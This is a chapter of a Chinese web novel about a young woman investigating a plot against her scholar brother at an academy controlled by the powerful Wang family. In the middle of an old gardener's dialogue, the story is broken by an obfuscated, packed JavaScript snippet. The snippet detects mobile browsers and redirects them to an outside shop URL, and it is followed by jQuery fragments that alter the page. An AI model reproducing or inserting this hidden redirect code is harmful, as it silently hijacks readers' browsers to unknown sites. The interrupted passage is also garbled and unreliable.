27. 兄长
作品:《大人,我能让他说真话》 等付元仲情绪平稳下来天已经蒙蒙亮了。
付晚寻借口累要回去休息,离开了学子住宿区。
在没有确定的情况下,他不想让付元仲带着期待,万一期待落空,他会更失落。
她独自一人向后山进发。
走了许久,天已大亮。
不远处一阵炊烟升起,一座茅草屋暴露在付晚寻眼前。
付晚寻朝着茅草屋走去。
茅草屋前面是一大片菜地,地里的青菜绿油油的,在菜地的左侧还有一座鸡舍,鸡鸣声不断。
付晚寻沿着田埂小路走近茅屋。
屋门没关,屋内传出锅碗瓢盆的声音和老人的咳嗽声。
付晚寻站在门口敲了敲门。
木门在叩击下发出“邦邦邦”的声音。
须臾,一个须发灰白的老者站在了门前。
他看了看付晚寻:“姑娘莫不是走错了,这里是致远书院的菜园子,没啥可逛的。”
付晚寻屈膝行礼:“大叔是姓周吧?我是专门来找你的。”
周大叔愣怔片刻后道:“进来吧。”
付晚寻跟在他身后进了屋。
屋内陈设很简单,除了必需品几乎没有杂物。
周大叔给付晚寻倒了碗水放到桌子上:“我这里没有什么招待客人的,你喝点水吧。”
说完这句话,他又回到灶台烧火去了。
灶房和住宿处并没有分开,共用一间房,一张桌子和几把椅子摆在中间。
付晚寻坐下看了看桌子上的碗,是民间最常用的瓷碗,因为技术不好,所以杂质多,瓷面白里透着灰,碗上还有两个豁口。
付晚寻端起来喝了两口。
周大叔余光扫了她一眼,又给灶里添了把柴。
“不知道姑娘来找我何事?”
付晚寻想了想,决定先不报贺北竞的名号:“不知道周大叔之前是做什么的?”
周大叔虽衣衫破旧却洗的干净,连补丁都打的整整齐齐的,屋里的家具虽少,却都一尘不染,最重要的是,他床上的枕头下面露出了书角。
“人老了,做什么都惹人厌,我就是在书院打打杂,种种菜,喂喂鸡而已。”
面对陌生人,有防备心是正常的,想让别人放下戒备,首先要做的是自己真诚。
付晚寻放下手里的碗,转了个方向,面向灶台方向:“周大叔,我是致远书院学子付元仲的妹妹,我叫付晚寻,我兄长前些时候被人陷害了,说他抄袭,我不信,所以就来大叔这儿问问,看看大叔有没有什么线索。”
周大叔握烧火棍的手顿了顿,随后往灶台里一戳:“学子的事儿我这个种菜的怎么可能知道,姑娘找错人了。”
干柴在他的大力下烧的更旺,发出噼里啪啦的声音。
付晚寻并不着急,她起身走到灶台边,将草编的锅盖转了转往下压了压,锅边氤氲的热气少了些:“盖严实点,饭熟的更快,也更节省柴。”
周大叔抬头,看着她身上丝绸的衣服和头上的发钗,疑惑道:“看姑娘不像寻常农户女子,怎么知道这些的?”
付晚寻搬了个矮凳坐在周大叔身边:“我娘出身农家,这些都是跟她学的,可惜她死的早,我继母也是兄长的母亲对我并不好,时间长了,我父亲受她影响,渐渐对我也不好了,都是我这个兄长一直在照顾我。”
她停顿一下,继续道:“我这个兄长不仅善良,学问也是一等一的好,明年春闱,他定会考中的。”
周大叔看着付晚寻的脸,眼底发青,发髻有些乱,眼神再往下,手上沾了些灰,衣裳色彩也没有那么亮了。
他道:“你那个兄长我见过的,人长得好,读书也勤奋,在致远书院他的学问属于顶尖的存在了。”
付晚寻头低下去,语气中有些难过:“也是因为如此,他才会被人陷害。”
周大叔起身掀开锅盖:“饭熟了,我这里都是粗茶淡饭,姑娘要是不嫌弃,就陪着我这个老头子用点饭吧。”
周大叔的饭食是几个馒头和番薯,还有两碗可以数清米粒的粥。
付晚寻帮忙端到桌上陪着周大叔坐下了。
周大叔递给付晚寻一个番薯后喝了两口米汤:“你知道我是怎么来到这里种菜的吗?”
付晚寻摇了摇头。
周大叔眼睛望着门外的菜地,思绪飘到了很久以前。
他叫周光宗,出身寒微,全家举力将他送到了致远书院,他也很争气,成绩一直名列前茅,就在科举的前两个月,他的手被学院里的一名学子打断了,接上之后,原本俊逸潇洒的字迹再也写不出了。
科举不仅要考学问,字迹也是重要的一项,这相当于断了他科举之路。
周光宗不服,从学院一直告到府衙,州里,无人敢应,无人敢接,打断他手的那位学子为了威胁他,杀了他娘。
最后,书院为了平息此事,就让他在书院打杂种菜,给他一口饭吃,也监视他。
付晚寻脑子里一阵发热:“那那个打你的人呢?”
周光宗看看已经升起的太阳,太阳光照进屋里,给地面镀了层金。
他突然笑了,笑着笑着两行热泪从眼眶滚出:“已经三品了,来了书院几次了,我远远瞧着,神气威武,真是有大官的威严呢,不过人家似乎都忘了我了,不过也对,我这么个小人物,不值得人家记住。”
付晚寻的拳头攥的紧紧的:“公道呢?律法呢?”
周光宗擦掉脸上的泪,扬起唇角,与刚才那个流泪的老人判若两人:“公道就是留了我一条命,让我在这里又活了快四十年了,丫头,你以为这致远书院就是个读书的地方吗?他是王家的人,王家你知道吗?那个出过宰相,有几十个在朝为官还是要职的家族,他们族中的子弟,都是送到致远书院来的。”
付晚寻抬眸:“所以,是姓王的陷害的我哥。”
周光宗点点头:“丫头,我是看你是个好姑娘,才说这些的,付元仲的学问我知道,只要他在,王家就不会拿到书院的第一,可你们是斗不过他的,放弃吧,跪下道歉还能给你哥留条命,不要跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533691|202154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们硬碰硬啊。”
付晚寻没有立即说话,她将手里的番薯迅速吃完,又将面前的米汤喝光,随后站起身对着周光宗笑道:“大叔,番薯很好吃,米汤也很好喝,我吃了大叔的饭,又得知这么多内幕,欠了大叔一个人情。”
说完这句话,她头也不回的离开了。
离开后山,行至一段路,付晚寻看到贺北竞坐在一块石头上,似乎在看风景。
她走上前唤了声:“大人。”
贺北竞看着茅屋的方向道:“看到周光宗的下场了吧?”
付晚寻答道:“大人不是想帮我,是想吓唬我,让我知难而退吧?”
贺北竞起身,将手里的一根小树枝掷了出去:“你看这根树枝,在我手里,我让它去哪儿它就只能去哪儿,因为它弱小,它就像付元仲,因为太弱小才会引来这场祸事。”
付晚寻看着混在地面已经不知道哪个是贺北竞扔出去的树枝,随后指了指他身后大大树。
“我兄长不是树枝,他是这棵大树。”
贺北竞眸光沉了沉:“你还是没有看清楚形势,你兄长没有接受京里的那份邀请,这时罪过之一,他学问好,挡住了王家的路,这时罪之二,京里的那位位高权重,不可能亲自对他下手,王家就抓住了这次机会,用他做投名状,好投靠付元仲拒绝的那个大势力。”
“周光宗应该告诉你了,这致远书院有一半都是王家的势力,再加上京里的助力,他无处可逃。”
付晚寻一夜未眠,却精神头很好:“那不是还有一半机会了?”
贺北竞见她油盐不进,有些烦躁,不自觉的提高了声音:“付晚寻,你是个顶聪明的人,趋利避害这种事情难道不懂吗?你一个被抛弃的县令女儿,你觉得你可以斗得过这么大的势力吗?”
付晚寻原本以为他告知周大叔是想为她提供线索,没想到是威胁她的,她内心涌上来一股火气:“贺大人又不会帮我,我能不能斗得过大人就不用操心了。”
贺北竞上前一步,心里怒火有些压制不住:“赵和孙两人只是王家的打手,王家此时此刻还有五六名子弟在书院学习,你连谁搞的鬼都不知道,还敢大言不惭?”
付晚寻上前半步与他四目相对:“那我就一个一个查。”
两人的距离只有一个拳头,贺北竞怒火更盛,面前的女子能为了朋友几次三番脱离他的掌控,现在为了兄长居然敢直接对他发脾气。
不知过了多久,贺北竞开口道:“我保付元仲,我将他救出送到外地,抄袭事件虽不能还他清白,但也不会彻底做实,这件事就到底为止,你不要再做无用功了。”
付晚寻摇了摇头:“我了解我兄长,这样做跟杀了他没有什么区别,还他清白是唯一的路。”
贺北竞眼眸中闪过一丝阴森,还未开口,远处传来喜鹊的声音。
喜鹊气喘吁吁跑到付晚寻面前,看到贺北竞时慌乱一下,随后走到付晚寻身边拉了拉她的袖子:“小姐,我和元宝到处找你,没想到你跑到这儿来了,老爷和夫人来了。”

